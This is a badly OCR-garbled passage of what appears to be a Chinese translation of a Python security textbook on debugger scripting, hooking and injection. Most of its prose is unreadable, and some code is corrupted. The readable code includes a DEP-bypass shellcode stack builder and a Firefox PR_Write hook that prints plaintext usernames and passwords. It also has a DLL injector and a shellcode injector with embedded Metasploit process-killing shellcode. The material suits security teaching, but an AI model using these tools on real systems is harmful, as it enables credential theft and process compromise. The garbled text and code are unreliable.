imm=immlib.Debugger()
addylist =[]
mod = imm.getModule("ntdll.dll")
if not mod:
return "Error: Ntdll.dll not found!"
# Finding the First ADDRESS  ret = imm.searchCommands("MOV AL,1\nRET")
if not ret:
return "Error: Sorry, the first addy cannot be found"
for a in ret:
addylist.append( "0x%08x: %s" % (a[0], a[2]) )
ret = imm.comboBox("Please, choose the First Address [sets AL to 1]",
addylist)
firstaddy = int(ret[0:10], 16)
imm.Log("First Address: 0x%08x" % firstaddy, address = firstaddy)
# Finding the Second ADDRESS ret = imm.searchCommandsOnModule( mod.getBase(),
"CMP AL,0x1\n PUSH 0x2\n
POP ESI\n" )
if not ret:
return "Error: Sorry, the second addy cannot be found"
secondaddy = ret[0][0]
imm.Log( "Second Address %x" % secondaddy , address= secondaddy )
# Finding the Third ADDRESS ret = imm.inputBox("Insert the Asm code to search for")
ret = imm.searchCommands(ret)
if not ret:
return "Error: Sorry, the third address cannot be found"
addylist =[]
for a in ret:
addylist.append( "0x%08x: %s" % (a[0], a[2]) )
ret = imm.comboBox("Please, choose the Third return Address [jumps to
shellcode]", addylist)
thirdaddy = int(ret[0:10], 16)
imm.Log( "Third Address: 0x%08x" % thirdaddy, thirdaddy )
imm.Log( 'stack = "%s\\x f\\x X fA\X fi%s\\x fF\x fA\X Pk 1" + "A" *
0x54 + "%s" + shellcode ' %\
( tAddr(firstaddy), tAddr(secondaddy), tAddr(thirdaddy) ) )

BT84 "MOV AL, I\nRET", %X Ji5 7E Hu ik 71 2 rh ik 38— A . B 7 ntd1Ldll IR 2
DEP fUhE . & — 48 FHEHITI R 4 shellcode AT, IXAMCREAG AN, G
g Pk AN, SR NAE Log T . 1K 5-4 3 5-6 WA TR



Please, choose the First Address [sets AL Eo ‘ x|

k. I Ear‘u:ell

Figure 5-4: %20, EF—Hubk, FJF&E AL 4 1

Insert the Asm code to search for x|

JMF ESP

k., I Cancel

Figure 5-5: 4 N\ 7 2 R 1454

Please, choose the Third return Address [jumps

IxGfdabel a: CwIMDOWSWppPatchiAcGenral DILL

k. I Cancel

Figure 5-6: 4t~ IR [l

wJE AP SR
stack = "\x75\x24\x01\x01\xff\xf\xf\xfA\x56\x31\x9 1 \x7c\x fiixf\xfi\xff* + "A" * 0x54 +
"\x75\x24\x01\x01" + shellcode

R R ACRSRIR ) shelledoe 41452 )5, IRELAER: exploit A AT ) DEP [ R 4.
PUAE SLEE ] ] 510 Python BAIAS il B8 7E AR J AR IR 18] Y T & HRASUE #9 exploit,  FF-HANHAE LA
NI L, dR R AE 30 ARG o 3R ST immllib Seid A KB SO K
HLH o

5.4 % RN H

BUEIR s A BORBORSS 1, iR AR, ARt AE St il — 7, ReAAY
T I AR AR B4, 53— A5 A AT SR ABLR], AR il o 3 T R IRAT TR
TR SRR, IR Immunity 388541 Python 13& [ ORI IIASEIE S KH L] -



S.4.1 IsDebuggerPresent

IAE B ) SRR ML gt & F IsDebuggerPresent (HH kernel32. 7 H ). BEATFES
B, WA R IAT TR A B I B R, SR M 1, AR B 0. SR ERATT R G XA R AL

7C813093 >/$ 64:A1 18000000 MOV EAX,DWORD PTR FS:[18]

7C813099 |. 8B40 30 MOV EAX,DWORD PTR DS:[EAX+30]
7C81309C |. 0FB640 02 MOVZX EAX,BYTE PTR DS:[EAX+2]
7C8130A0 \.C3 RETN

AHE I8 3 AN (1) - 41k 2 B Uk IR K I B s A7, 28— 47, i FS 474 1126 0x18
P73 TIB (ZRFRA5 BH) kbl . 28 47k TIB FI%55 0x30 {73k 21 PEB(EFEIAEE (5 ELb)
Fidbhl. 25 =47% PEB [ 0x2 1'% ¥ BeingDebugged 28w /7 {F EAX % A78s, ﬁﬂ%ﬁiﬂ
TR A N 2 BERE , %44 0x1.Damian Gomez $24it T —ANaj 91 77 X% i IsDebuggerPresent,
A AR J7 A 7E Immunity $44T, 80 7E PyCommand H i H .

imm.writeMemory( imm.getPEBaddress() + 0x2, "\x00" )

TR A S K PEB [ BeingDebugged i & B 4 19 B K 0. B0 AE i B VA AT A
IsDebuggerPresent >KH|Wr T k48 T, 18R 1.

542  fAHEME

95 1 DA A28 T 1847 (P RE DA 2 5 A PR B (Eas AT . 2807, i SRR IEAE
Immunity Wil —AMEE, ST — %48 ImmunityDebugger.exe HHERE . 5 25 1T H
Process32First 25 — MM AHERE, #:45 H Process32Next fEFA 3k HURI R I RERE . iX A
BRIECR 25 IR Bl — AN R AE, 5 VR R EUR BT ) FAT T BORE R E IR [HIE CFF
fB7E EAX Zif7ae), A B E N 0 SRR IR I S LL i 2 T o ARG

process32first = imm.getAddress("kernel32.Process32FirstW")
process32next = imm.getAddress("kernel32.Process32NextW")
function_list = [ process32first, process32next |
patch_bytes = imm.Assemble( "SUB EAX, EAX\nRET")
for address in function_list:
opcode = imm.disasmForward( address, nlines = 10 )
imm.writeMemory( opcode.address, patch bytes )

BRI AN s b hE, CRre RN SR . AR E R B T ARSI G AR, AR
1K EAX WE K 0, 2RJFIR[Al. 2 F K% Process32First Fl Process32Next B& 4055 4T
AT o XA B B e — L = 2 R 2 2 B R B0 S R S s ot . FRATIZESE 10



ITHEAANT, whael Rl 7. ARG B A1 TR E A 10 17, WAL RE
Y FH P A R SR 25 R B R

FeA T AN 1 Uk T anfl 4 Python A1 Immunity K28, 40 5 L1k K I ERAT
R 2 B S R AR e B R L, XA i E AN & 5845 . (H2 Immunity TG
BN 23 IR RO B B TR exploit A .

KRB B 0] T 1) hooking FEA



6

HOOKING

Hooking #& — /55 K [ 3F 72 i #%% (process-observation) £;
R T AR, DU AL HERR B 8038 i U7 ) AR

Hooking ¥ H 1B rootkits, STHUIZHBE(E R, AWK TAE. 700 i, Ja i i g fi i
f*) hook Fr R IATH LG E, BB IRZ T THRAERINA]. hook, LI 4K

7t Windows R4, AW 2 17755530 hooks FRATEZAHPIFh: soft hook F1 hard
hook. soft hook At /&EZE MY A HARBERE . i INT3 by, BEEHEREMPATIRE. XA
58 I “H W S ALEE” 1845 . hard hook W& 7E H briEFE H AiZk i5( hard-coding)— /M Bk %
#] hook A (V- 4mfR5 4% ). Soft hook 7EAN 1) b& ZCM FH -H ARG H . SR, b 77X HAs
HERE 7= A B/ 1 52 i il % 250 H 2 hard hook » A U E ) hard hook , 43 il A
heap-management routines ! intensive file /O operations.

BAAETT T A 23 TSI hook. H PyDbg 53 soft hook FH - WRHR T (1 199 4 1 i .
HJ Immunity SZH hard hook H{— 2% & %4 [ heap instrumentation .

6.1 /| PyDbg L3l Soft Hooking

SN 13 AT N T WA TR 9 2 AT o IRk T B 2 i R I 55 s 2 TR ) T
YESRE, FRATTABSAdH — /NP4 50 BT 28 51 11 Wireshark . fRANEIF) L, Wireshark 3R1G £ 4
2 A e I ), AT P MRS B . soft hooking R BEMS 7E AL HiE N fi 5k & #25%2
I Fa AR e ]

SEH H bR mt e s AT BT IR ) Y %8 Mozilla Firefox. A T IX R SEE:, Ffi 1M % Firefox
SEVRE) IR W2 480D o AT 5 w2 7E firefox.exe 1 FE N2 £ 45 i LR Hh 4
TR B30 FH T D9 288 00 5% P U A2 SSLs 3X IR I 2 %2 H bRt A2 At v

0T R ER e HO R ORI R 0 AR 0D, 7R AR A D sk BT E ) R H 0 B T
(http://forum.immunityinc.com/index.php?topic=35.0. ). HLLE 175 i v 1 (] RT3l A& ZEA T4 Hb 7
PH hook. FRAIZEMH 2K hook ¥ B LE PR Write pREL I (1 nsprd.dil. S ). 243X o Bk
PAT I s, HER[ ESP + 8 198 1] ASCIL “FA7 5 (AL 35 FAT 152 A8 IME AR N () %dls ). ESP +
8 ViHI'E & PR Write FUSE —ANpR%k, t2BATTER, dxe, WERT.

B /4T IT Firefox, A ML https://www.openrce.org/. — HAREM T SSIUEA, 0Tt
In# k. #:4 Immunity 03] firefox.exe HEFELE nsprd.PR_Write ¥ & W7 15 . 7F OpenRCE
Wb f FEE—ANVEREH, WEHH N test FI%HY test, sl Login %4l . W& & W75
SEZBE R s TRYE FO, Wi R IR . B)E . RREERR R B W N 2

[ESP + 8] => ASCII "username=test&password=test&remember me=on"



TR, FATTART W (00 21 T F P A A0S o (R W R 28 2R A A R At F e —HE
223t SSL I (G = s o X PR T 1AM OpenRCE 338 AR WEAT A — AN 5 2%
AT AU 1 D o FR B, X SO HORF AR S 2 R 2 21 o AR PR A T TR TR 2%
TR T, HIMLA LT IE

7t H PyDbg 5 X soft hook Z i, 7 2256 L— MU F Ui hook HAFRMIAR. W FHILG
(& T T

hooks = utils.hook container()
%] hook _container &[] add() /7 V245 F AT 15 LI hook Ak 2. pREH T
add( pydbg, address, num_arguments, func_entry hook, func exit hook )

B ANSEEE N E R pydbg H AR, address 4015 B A E %2 4% hook (1) HiHE,
num_arguments 1% & AL 25 hook 11244 . func_entry hook F1 func exit hook 7542 A ifi p& 4.
func_entry hook & hook # il /& J5 2. ZI A ¥), func exit hook J&#% hook [ R&ECKF ZLE H 2
HIHATIY . entry hook H T-#3 21 s A1 24, exit hook F T-4fi#ie pR £ 1) 18 [HI4F

def entry_hook( dbg, args ):
# Hook code here
return DBG_ CONTINUE

dbg Z KB B AT pydbg H AR, args #C—FIE, 4435 hook filt it i 21K 2

exit hook [MITHBEEE —SAFRBEZ T ret Z8, B T REUIRIFMEEAX IH):

def exit_hook( dbg, args, ret ):
# Hook code here
return DBG_ CONTINUE

Fe N A5 Qi ] entry hook PSRN 25 1 (1 45040 -

#firefox _hook.py

from pydbg import *

from pydbg.defines import *

import utils

import sys

dbg = pydbg()

found firefox = False

# Let's set a global pattern that we can make the hook
# search for



pattern = "password"
# This is our entry hook callback function
# the argument we are interested in is args[1]
def'ssl_sniff( dbg, args ):
# Now we read out the memory pointed to by the second argument
# it is stored as an ASCII string, so we'll loop on a read until
# we reach a NULL byte
buffer =""
offset =0
while 1:
byte = dbg.read_process_memory( args[1] + offset, 1)
if byte 1= "\x00":
buffer += byte
offset +=1
continue
else:
break
if pattern in buffer:
print "Pre-Encrypted: %s" % buffer
return DBG_ CONTINUE
# Quick and dirty process enumeration to find firefox.exe
for (pid, name) in dbg.enumerate processes():
if name.lower() == "firefox.exe":
found_firefox = True
hooks = utils.hook container()
dbg.attach(pid)
print "[*] Attaching to firefox.exe with PID: %d" % pid
# Resolve the function address
hook address = dbg.func resolve debuggee("nspr4.dil","PR_Wri
if hook address:
# Add the hook to the container. We aren't interested
# in using an exit callback, so we set it to None.
hooks.add( dbg, hook address, 2, ssl_sniff, None )
print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook address
break
else:
print "[*] Error: Couldn't resolve hook address."
sys.exit(-1)
if found_firefox:
print "[*] Hooks set, continuing process."
dbg.run()
else:
print "[*] Error: Couldn't find the firefox.exe process."
sys.exit(-1)



AT T fE PR_Write % hook, 4 hook # /& iM%, FRATIZ A3 H 2 — A
AR AR H . WERART A RS AT e 24T, JA8)—NHT I Firefox, #FHIZAT
firefox_hook.py A<, HE Z AR, 5% https://www.openrce.org/, ¥H B WIT -

[*] Attaching to firefox.exe with PID: 1344

[*] nspr4.PR_Write hooked at: 0x601a2760

[*] Hooks set, continuing process.

Pre-Encrypted: username=test&password=test&remember me=on
Pre-Encrypted: username=test&password=test&remember _me=on

Pre-Encrypted: username=jms&password=yeahright!&remember me=on

Listing 6-1: How cool is that! FRATTREFE 2l A D2/ 1Y FH 7 44 %404

TATCAFF T soft hook (M KM AKRE ) o X M7 VERER H T I 2R84 A
Wik R A8 BRI 1H soft hook M) TAFIA SR, i 538 2143 M fig BRI 1) ey 2500 H I
BERE Sy Ll RG50S, AT MR, EWREMI . JUERh, 2 INT3 e i, 20K
PATBLIRAZ 45 FAT 1) hook AAADZ ik bl X [BI4E S AR5 2 =, W s B b B AT 4L
TR B RALFRATEF WNid L % E hard hook F1 instrument low-level heap
routines DA fFEHRIX AN 7] 2 .

6.2 Hard Hooking

MR FIAA BRI 7T, hard hooking. IXFf hook 1R =12k, XJHEFEMI MR N, PN
hook ST E R T x86 - 4mflhd. R H] soft hook [N % 7 T rii fish & (1) ) A A3 1R 22 A
KA, BAGPAT hook UMY, S5 fm kiR . M1 H] hard hook MR, HEEAEuEFE N e —
PLX 85, £7I hook ARRY, k4% Bt DX IRAAT 58 e fe, 3 [B1IE & R PP BAT IR o D0 Al it
hard hook HAR@ERE (I, BEREA AT, A5 soft hook.

Immunity PR PEHE T — AR R X% FastLogHook H>K A1 & hard hook . FastLogHook
LETFE hook [ EAEUE 5 NIERHEACHY, k%] FastLogHook HITH [ —HRARAL X 4k, R 5P ik
e AR 7 7 1) AR W AF A X JUB G A K ek, 4 /R A fast log hooks IR, 75 42 2% ¢
—/> hook FiEl, AR5 U ELE S HARFREr . FEPHELL QIR

imm = immlib.Debugger()

fast = immlib.FastLogHook( imm )
fast.logFunction( address, num_arguments )
fast.logRegister( register )
fast.logDirectMemory( address )
fast.logBaseDisplacement( register, offset )

logFunction #5224, address i/ 7E45 22 hook )R 20 A I 3N kil XA b
RS W TR AR o WIRAE PR E ) 3k hook, num arguments JUIJ ¥ E AR B 1l 412 21 1) 2
Boms HoE . W R OE B B 4 R hook . W BEE K 0. H R A C sk M



logRegister(),logBaseDisplacement(), and logDirectMemory() =™ /5 1% 5E il »

logRegister( register )
logBaseDisplacement( register, offset )
logDirectMemory( address )

logRegister() /715 H T ERER YR B M Ar A7 2%, L AnPRER B ZUWIR AIME (fAB7E EAX ).
logBaseDisplacement() /7 V£ 2 NS4, — A% Ay, Ml— M a; HT MRS
B R A A7 2 AR RS B3k . )5 — 1 logDirectMemory() 1 M $i 22 1) P A7 kil 3R HX

) hook ik, log BRELHAT 2 )5, MATTICE 2l A7t /£ — 1> FastLogHook H1ii5 itk
T i3 hook HULEIR, MRLZEH getAllLogOBE%, ‘&4 iR[l—A> Python 1|3

[( hook address, (argl, arg2, argN)), ... ]

JIT EARE X hook i fiul A (RISF A, il & ik i A7 AE hook_address ML, 47 7 £ HI(5 AL
FEEE i, i 54— AT FastLogHook it /& STDCALLFastLogHook( H T
STDCALL HZI5€). cdecl i H 5% 14 H FastLogHook.

Nicolas Waisman( 5253k i H % ) JF & T hippie(F]H hard hook), RJ LAZE Immunity HiH
it PyCommand 47 H . Nico [

f13& Hippie ) H &4 T A1 —/NMF 1 log hook s 48 754 B g5t 110 ME pR 5000 H AR Rl ]
At 2511 WRARA Notepad T 7F—4>
SR X IEAE, e T 2R K 4T 4500 X RtlAllocateHeap Al RtlFreeHeap . U1 /& Internet
Explorer, HEAHSCHIREHH A 10 52 H 2.

WL hippie “7 ) HERIERAE, X T Kok SR T-HER I exploit AHS B, T A7 R
» FRATTIUEF hippie HIA%0 D B gt — N 52 I A hippie_easy.py.

TEIRATTIFURTT, %8 T #% T RtlAllocateHeap 1 RtlFreeHeap.

BOOLEAN RtlFreeHeap(
IN PVOID HeapHandle,
IN ULONG Flags,
IN PVOID HeapBase

);

PVOID RtlAllocateHeap(
IN PVOID HeapHandle,
IN ULONG Flags,
IN SIZE T Size

RtlFreeHeap 1 RtlAllocateHeap [T 2 5 2 il Be 1y, ANk



RtlAllocateHeap 3 [H] 18 HE 1 Mkt 02 75 S HE 1

#hippie easy.py
import immlib
import immutils
# This is Nico's function that looks for the correct
# basic block that has our desired ret instruction
# this is used to find the proper hook point for RtlAllocateHeap
def getRet(imm, allocaddr, max_opcodes = 300):
addr = allocaddr
for a in range(0, max_opcodes):
op = imm.disasmForward( addr )
if op.isRet():
if op.getimmConst() == 0xC:
op = imm.disasmBackward( addr, 3 )
return op.getAddress()
addr = op.getAddress()
return 0x0
# A simple wrapper to just print out the hook
# results in a friendly manner, it simply checks the hook
# address against the stored addresses for RtlAllocateHeap, RtlFreeHeap
def showresult(imm, a, rtlallocate):
if a[0] == rtlallocate:
imm.Log( "RtlAllocateHeap(0x%08x, 0x%08x, 0x%08x) <- 0x%08x %s" %
(a[1][0], a[1][1], a[1][2], a[1][3], extra), address = a[1][3] )
return "done"
else:
imm.Log( "RtlFreeHeap(0x%08x, 0x%08x, 0x%08x)" % (a[1]{0], a[1][1],
a[1][2]) )

def main(args):

imm = immlib.Debugger()

Name = "hippie"

fast = imm.getKnowledge( Name )

if fast:

# We have previously set hooks, so we must want
# to print the results
hook _list = fast.getAllLog()
rtlallocate, rtifree = imm.getKnowledge("FuncNames")
for a in hook _list:

ret = showresult( imm, a, rtlallocate )

return "Logged: %d hook hits." % len(hook list)



# We want to stop the debugger before monkeying around

imm.Pause()

rtlfree = imm.getAddress("ntdll.RtIFreeHeap")

rtlallocate = imm.getAddress("ntdll.RtlAllocateHeap")

module = imm.getModule("ntdll.dIl")

if not module.isAnalysed():

imm.analyseCode( module.getCodebase() )

# We search for the correct function exit point

rtlallocate = getRet( imm, rtlallocate, 1000 )

imm.Log("RtlAllocateHeap hook: 0x%08x" % rtlallocate)

# Store the hook points

imm.addKnowledge( "FuncNames", ( rtlallocate, rtifree ) )
# Now we start building the hook

fast = immlib.STDCALLFastLogHook( imm )

# We are trapping RtlAllocateHeap at the end of the function

imm.Log("Logging on Alloc 0x%08x" % rtlallocate)
fast.logFunction( rtlallocate )

fast.logBaseDisplacement( "EBP", 8)

fast.logBaseDisplacement( "EBP", 0xC)

fast.logBaseDisplacement( "EBP", 0x10 )

fast.logRegister( "EAX" )

# We are trapping RtlFreeHeap at the head of the function

imm.Log("Logging on RtlFreeHeap 0x%08x" % rtlfree)

fast.logFunction( rtlfree, 3 )

# Set the hook

fast.Hook()

# Store the hook object so we can retrieve results later

imm.addKnowledge(Name, fast, force_add = 1)

return "Hooks set, press F9 to continue the process."

FH— R EUEH Nico &AL E 3R 2 ] LLAE RtlAllocateHeap N #5 & hook [Pl
EFRATT I 4 RtlAllocateHeap FREUE & e Ja JLAT I HE 2 2 B AFEN :

0x7C9106D7 F605 FOO2FE7F TEST BYTE PTR DS:[7FFE02F0],2
0x7C9106DE 0F85 1FB20200 JNZ ntdll.7C93B903

0x7C9106E4 8BC6 MOV EAX,ESI
0x7C9106E6 E8 17E7FFFF CALL ntdll.7C90EE02
0x7C9106EB C2 0C00 RETN 0C

Python A5 M R EL IR S5 A USRI S, LI AE 0x7CO106EB #k21 RET $i5 448 J5 i A3
TR H S 0x0C . ARG )G 4 3 ATHR A 218 0x7C9106D7 o XA R AT 2K TR A
ARG RSN S NI IMP $5% . 1 RIRATE RET XATE A 5457151 IMP $54, 4
P 2> 78 55 R B ARV R o IS T ORAR AT e R AR RY M (R 2R, R TARES X 5%, ERE 2
JATte XN R BB IR AR 2 T n R S, AR ORI IET, AT ZE A S B



AT AR SR T EL ) BT hook SETRIRE T, W IE T M knowledge base H13RHK
WERH AR, SRJSFTEDH hook 5 R e BIACSE — Az AT I i ¢ & hook, 5 IS AT IR I
WM hook )4t S, BFIEAT HRARIBUHT ) hook HHi o 4n AR LA 474 7E knowledge base
B EHAR, FENPRLE ) shell Y7 R AT T .

e — PRI &M1& hook AL o XJF RtlAllocateHeap i H IR A 1 =S4
A IRMEE, RtlFreeHeap R ZRN = ANZHo v LT HH T AT 100 7709486, FRA1D
I AE T 9K hard hook, ¢ FH AT FHATART ¥ 4 46 25 A1 22 2 1K) T H. . Very cool !

1l H notepad.exe IR, B H 475 W Nico I 4T JF— M3 UEHER &AL 4500 S HE
WH . 7€ Immunity T JF C:\WINDOWS\System32\notepad.exe iz4T lhippie_easy fir 2 (W%
AEER HHE). IKEIERE, 7F Notepad HLIEFE File--—>Open.

MMAERIN G R . ERIEAT thippie_easy, K2 F B H & % D(ALT-L) i

RtlFreeHeap(0x000a0000, 0x00000000, 0x000ca0b0)
RtlFreeHeap(0x000a0000, 0x00000000, 0x000ca058)
RtlFreeHeap(0x000a0000, 0x00000000, 0x000ca020)
RtlFreeHeap(0x001a0000, 0x00000000, 0x001a3ae8)
RtlFreeHeap(0x00030000, 0x00000000, 0x00037798)
RtlFreeHeap(0x000a0000, 0x00000000, 0x000c9te8)

Listing 6-2 i'hippie_easy PyCommand 7=/ )i H

FEH U BAT T L0, WRARE B Immunity RS IPIRER, SF B8 AT 4674
Al o FITEL Nico JERT o AR BELEAEAT IR i B HTE AT BIAS LU 08T (i K 4 RN G- £
{H. 5 cool M5 I T 7 TR I AN 2 B AR B BERE A PAT 0%

hook K23 FEAR A 1A R A — IO —IRIAE T o A2 X BLBRATT A A 25 108 3K
hook %, MibiX—VIAZNMHEAT, KKK, KM, KEHRM. % FRikk
12 ST P — AN HERE A2 AT R



7
D11 AN

A IMRAEHAT I 1 TREER A B e A2 P B I, A5
Bt Hanidt e, FERBEANPITRIER AR . XRBAR—
PRAEN, H F T B A B SRR T A SR T R A . FEAE
24504 DLL ARIEBEA PR, BA TR A Python 45 &I X PRI HIAR

B — LRI BRI N FIRRES o WHkTT %, exploit 415, shellcode A1 224 A i

Ao B NORESCIMAT 802, M DLL AL H bRt N isdT — A% 1, A E K
shellcode 7 A\ HbndtRE, il shellcode ARAEIHERE » I Ja B 1K H 26 Python SEHL—AN)E 1. 1E
SEIL L FE R TR B 2R N, I — e R A 1 1 FRATTSE AN R TT 4R, X2
A

71  GIEmLRE

PR N ECRAE SR 5 B BN, (RS i ZAZ . Sldmedf. X i
CreateRemoteThread() 58 /&%, [FIFf HHH kernel32.dll . JRALUIT:

HANDLE WINAPI CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES IpThreadAttributes,
SIZE T dwStackSize,
LPTHREAD START ROUTINE IpStartAddress,
LPVOID IpParameter,
DWORD dwCreationFlags,
LPDWORD IpThreadld

M IX A ZZHNE, ElURZ S 4 PR REd 2. %25, hProcess it



B BE NI H bR RE) AR . IpThreadAttributes 2 50l /2 61 2 2R FE 10 2 A R 77, Horp
PIEAE PR T RS R bR gk o 7Ri B R ) B & NULL, B 15 28— A
Redk K AR, FI—DERIAI 2 IR ST o dwStackSize RISV FEIIAR KN, 78
X BRI B R 0, RN BB I RE BN KN o B —IRSHUE B E N . IpStartAddress,
A B e R B PAT AR TE N A7 R (B AN & o IpParameter Al L — NS4 —FFE L, Aid
FEAL A — AR EE, FRm BRI, B Sk M B dE R A g B R S 4.
dwCreationFlags # & T B WA TF4R . X FLIRATRCE K 0, FonfE el d 5 v RI T . B
ZVEAI A% MSDN. #)5— NS4 IpThreadld 7EZEFE 0 8 ) a5 Y78 M B FE 10 1D

FIE T ZHER, ERATE B W DLL VNS H AR, LLJ shellcode FITEN .
P RO, A EEVRIANIE], BT BAgy TR

7.1.1 DLL A

DLL VEAJEIR IEIRARE AR . M Windows [ shell 4™ Ji# FI995 25 (I TELEL AR, AbAb#lfiE W
Fefl. BRIt 286 DLL v XNGERE DU MBEFE 94T . DLL #fiS2R 4,
NENIAL RN T dnie o b, RN E HAsERE, (e moh HARERE I —# 47 1X
EFAHH, tngad BB kKRBT CeqTms HAibfe e MRS 4R, i 1B).
FER KA FRATH Python 55— DLL {EABIA, SEHLK DLL v A5 E AR R .

7E—ANEEFE FL 8\ DLL 75 248 H LoadLibrary()p&i %0 (i kernel32.dll 5 ). pREURTY
wre:

HMODULE LoadLibrary(
LPCTSTR IpFileName

)

IpFileName Z%{°4 DLL H4% . FA 175 221k H bR H LoadLibrary A fn#k &A1) DLL.
T S BT th LoadLibraryA 75 N A7 ik, SR 54 DLL BRAR AL AN o S Br B A it 22 AT
CreateRemoteThread(), IpStartAddress 5 [r] LoadLibraryA Hitik, IpParameter Fi (7 DLL #%
f£. *4 CreateRemoteThread )VFHAT L), Wid% HAxiifE H M H LoadLibraryA Jngk 1 FA 111
DLL.,
DLL 7 AP %545, v A http://www.nostarch.com/ghpython.htm %k

#dll_injector.py
import sys
from ctypes import *

PAGE_READWRITE = 0x04

PROCESS ALL ACCESS = ( 0x000F0000 | 0x00100000 | OxFFF )
VIRTUAL MEM = (0x1000 | 0x2000 )

kernel32 = windll.kernel32

pid = gys.argv[1]

dll_path = sys.argv[2]
dll_len =len(dll_path)



# Get a handle to the process we are injecting into.
h_process = kernel32.0penProcess( PROCESS ALL ACCESS, False, int(pid) )
if not h_process:
print "[*] Couldn't acquire a handle to PID: %s" % pid
sys.exit(0)
# Allocate some space for the DLL path
arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAL ME
PAGE READWRITE)
# Write the DLL path into the allocated space
written = c¢_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len,
byref(written))
# We need to resolve the address for LoadLibraryA
h_kernel32 = kernel32.GetModuleHandleA("kernel32.d11")
h_loadlib = kernel32.GetProcAddress(h_kernel32,"LoadLibraryA")
# Now we try to create the remote thread, with the entry point set
# to LoadLibraryA and a pointer to the DLL path as its single parameter
thread id = ¢_ulong(0)
if not kernel32.CreateRemoteThread(h_process,
None,
0,
h_loadlib,
arg_address,
0,
byref(thread_id)):
print "[*] Failed to inject the DLL. Exiting."
sys.exit(0)
print "[*] Remote thread with ID 0x%08x created." % thread id.value

S0, fEHFREREN P 20 A3 |, HIT A% DLL f#g1t. 5 20, # DLL ¥&4%
BBk, =25, f##HT LoadLibraryA FINAriibk. fa—0, ¥ HARHERE AR
A LoadLibraryA Hihili& 7 47 fif DLL #4510 N A7 llk, {4 A CreateRemoteThread(). —H.,
L RN B Dt o B AN

MM CL BRI ER T DLL A ik i % 0 s g ki o H 200 T-3A7]
WA AE T, AR B

7.1.2 EZEAN

IEBAT RS 5L, PR . AURSENREWSHS shellcode JEA R MEATHIEERE, SZEIHA
17, ASAEREE LB IEMARYE . R REK— N ERRRYT shell IR 25y — A adbRE.



N RIGATE ] — AT %01 shellcode (FeZ%1LFE € PID dERE) A ANEIHbrEEFE, A
Ja A HARERR, [R]IS AN B AT SR o 36 T FRAT AR i e J SR A () 1 R R B — 28,
[FRE,  FoAT T B s ] 22 4= 15 e shellcode, LAIE 882 AN R FOAE 45 o

AJ LLIE 1 Metasploit [1) 3= 703k #4528 IEERE ) shellcode, ‘EATTIY shellcode A= s JF 5 1 H .
W2 B, H V5 ) http://metasploit.com/shellcode/ . iX {X F. 41114 1 Windows Execute
Command shellcode “Efli#s. G [ shelledoe WIZR 7-1.

/*win32_exec - EXITFUNC=thread CMD=taskkill /PID AAAAAAAA Size=152
Encoder=None http://metasploit.com */

unsigned char scode[] =

"xfc\xe8\x44\x00\x 00\x 00\x 8b\x45\x3 c\x8b\x7¢c\x 05\x78\x0 1\xef\x 8b"
"x4f\x 18\x8b\x5f\x20\x0 1\xeb\x49\x8b\x 34\x8b\x 01 \xee'\x3 1\xc0\x99"
"xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\x f4\x 3b\x 54\x 24\x 04"
"x75\xe5\x8b\x 51\x24\x01\xeb\x 66\x8b\x0c\x4b\x8b\x5f\x 1 c\x0 1\xeb"
"\x8b\x 1c\x8b\x01\xeb\x89\x 5c\x24\x 04\xc3\x31\xc0\x 64\x 8b\x40\x30"
"\x85\xc0\x 78\x0c\x 8b\x40\x 0c\x 8b\x 70\x 1 c\xad\x 8b\x 68\x 08 \xeb\x 09"
"\x8b\x80\xb0\x00\x00\x00\x 8b\x 68\x 3c\x SA\x31\x f6\x 60\x56\x89\x 8"
"x83\xc0\x 7b\x 50\x6 8 \xef\xce\xe0\x60\x68\x98\x fe\x8a\x 0e\x S7\x ff"
"xe7\x74\x61\x73\x6b\x6b\x69\x6c\x6c\x20\x2 \x50\x49\x44\x 20\x 41"
"\x41\x41\x41\x41\x4 1\x41\x41\x00";

Listing 7-1: i Metasploit ;=[] Process-killing shellcode

2 5 shellcode )i #5-3% H Restricted Characters SCASHE LI B 0x00 747, & I
Encoder HE B R IN Gl . 7E shellcode 1 Ja—ATRE R T EEM 8 Mxdl. M4 E 8
KN A? A, JETHERATE A FR € PID(FE ZEH S P (R I iz, 23 8 M\x4 1
B i PID FOBUEARAT T, R FOAL B H \X00 B e . WHR 2 Fir A s X shellcode #E4T
T 9w, ISR 8 A A A wgmid, BIRMERESAEE R, BRARA R

Yy

ﬁo

MAEFATA T B ) shellcode, &I iz [HIR AT 5L FRIK code  injection TAE T .

#code_injector.py

import sys

from ctypes import *

# We set the EXECUTE access mask so that our shellcode will

# execute in the memory block we have allocated

PAGE _EXECUTE READWRITE = 0x00000040
PROCESS ALL ACCESS = ( 0x000F0000 | 0x00100000 | OXFFF )
VIRTUAL MEM = (0x1000 | 0x2000 )

kernel32 = windll.kernel32

pid = int(sys.argv[1])



pid to kill = sys.argv[2]
if not sys.argv[1] or not sys.argv[2]:
print "Code Injector: ./code _injector.py <PID to inject> <PID to Kil
sys.exit(0)
#/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA
#Size=159 Encoder=None http://metasploit.com */
shellcode =\
"xfc\xe8\x44\x00\x 00\x 00\x 8b\x45\x3 c\x8b\x 7¢\x 05\x 78\x0 1 \xef\x8b" \
"x4f\x 18\x8b\x5f\x20\x0 1\xeb\x49\x8b\x 34\x8b\x 01\xee\x3 1\xc0\x99" \
"xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\x f4\x 3b\x 54\x24\x 04" \
"x75\xe5\x8b\x 51\x24\x0 1\xeb\x 66\x8b\x0c\x4b\x8b\x 5 fix 1c\x0 1\xeb" \
"\x8b\x 1c\x8b\x01\xeb\x89\x 5c\x24\x 04\xc3\x31\xc0\x 64\x 8b\x40\x30" \
"\x85\xc0\x 78\x0c\x8b\x40\x 0c\x 8b\x 70\x 1 c\xad\x 8b\x 68\x 08\xeb\x 09" \
"\x8b\x80\xb0\x00\x00\x00\x 8b\x68\x 3c\x SA\X31\x f6\x 60\x 5 6\x8N\x 8" \
"\x83\xc0\x 7b\x 50\x6 8 \xef\x ce\xe0\x60\x68\x98\x fe\x8a\x 0e\x S7\x ff" \
